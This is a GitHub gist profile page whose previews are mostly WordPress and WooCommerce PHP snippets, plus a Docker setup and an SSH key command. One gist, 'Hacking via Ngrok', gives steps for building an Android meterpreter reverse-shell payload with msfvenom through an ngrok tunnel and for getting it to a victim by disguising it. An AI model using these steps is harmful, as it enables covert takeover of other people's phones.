Skip to content

Instantly share code, notes, and snippets.

View dasbairagya's full-sized avatar
🎯
Focusing

Gopal Dasbariagya dasbairagya

🎯
Focusing
View GitHub Profile
@dasbairagya
dasbairagya / function.php
Created May 1, 2017 05:18
short code to get the woocommerce recently viewed products
//short code to get the woocommerce recently viewed products
<?php function custom_track_product_view() {
if ( ! is_singular( 'product' ) ) {
return;
}
global $post;
if ( empty( $_COOKIE['woocommerce_recently_viewed'] ) )
$viewed_products = array();
@dasbairagya
dasbairagya / functions.md
Last active January 30, 2024 21:53
Get variation product data on selecting variation options - WooCommerce

Get variation product data on selecting variation options - WooCommerce

functions.php

add_action( 'woocommerce_before_single_variation',
 'action_wc_before_single_variation' );
function action_wc_before_single_variation() {
    ?>
    <script type="text/javascript">
    (function($){
        $('form.variations_form').on('show_variation', function(event, data){
@dasbairagya
dasbairagya / .env
Created August 25, 2023 21:25
wordpress localsetup using docker desktop
MYSQL_DATABASE=wordpress
MYSQL_USER=wordpress
MYSQL_PASSWORD=password
MYSQL_ROOT_PASSWORD=root
@dasbairagya
dasbairagya / hacking.md
Last active August 24, 2023 19:48
Hacking via Ngrok

Hacking via Ngrok

Step1: download and configure the ngrok and move it to usr/bin/ in kali linux
Setp2: ngrok tcp 4444   [o/p: Forwarding  tcp://2.tcp.ngrok.io:14621 -> localhost:4444  ]
Step3: create payload using msfvenom e.g.
-> msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14621 R> /var/www/html/payload.apk or if port forwarded
  -> msfvenom -p android/meterpreter/reverse_tcp LHOST=router_external_ip(mine:45.121.xxx.xxx) LPORT=forwarded_port_of_router(mine:3000) R> /var/www/html/payload.apk
Note: after generation of the payload you need to send it to the victim via any social engineering delivery method (e.g. binding with game, picture, pdf or via direct link)

Step4: open metasploit console by runing msfconsole
@dasbairagya
dasbairagya / functions.php
Last active July 17, 2023 04:17
Add a WYSIWYG Field to WooCommerce Product Category Page
<?php
/********************************************Add a custom filed in the categoy*************************/
add_action( 'init', 'wpm_product_cat_register_meta' );
/**
* Register details product_cat meta.
*
* Register the details metabox for WooCommerce product categories.
*
*/
function wpm_product_cat_register_meta() {
@dasbairagya
dasbairagya / TestFinalClass.php
Last active March 5, 2023 12:16
How to mock a final class and private method
<?php
namespace UnitTest\App;
final class FinalClass
{
public function __construct()
{
}
@dasbairagya
dasbairagya / form.php
Created November 29, 2017 08:48
Upload Gallery Image and thumbnail image from front-end
<?php
/* Template Name: Free Form*/
get_header() ;
global $post;
global $wpdb;
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
@dasbairagya
dasbairagya / delete.php
Last active March 8, 2022 07:28
Delete a table-row using JQuery Ajax without page reload
<?php
/**
* Template Name: Delete
* Created by PhpStorm.
* User: PC35
* Date: 30-12-2016
* Time: 18:21
*/
global $wpdb;
if(isset($_POST['delete_row']))
@dasbairagya
dasbairagya / ssh.bash
Created February 27, 2022 11:33
generate ssh for windows
ssh-keygen -t rsa -b 4096 -C "your_email@gmail.com"
@dasbairagya
dasbairagya / front-end-to-cpt.php
Created December 27, 2016 06:46
How to add post from front-end form to custom post type in admin back-end
<?php
/**
* template name: blogupdate
* Created by PhpStorm.
* User: PC35
* Date: 25-10-2016
* Time: 16:04
*/
global $wpdb;
$id= get_current_user_id();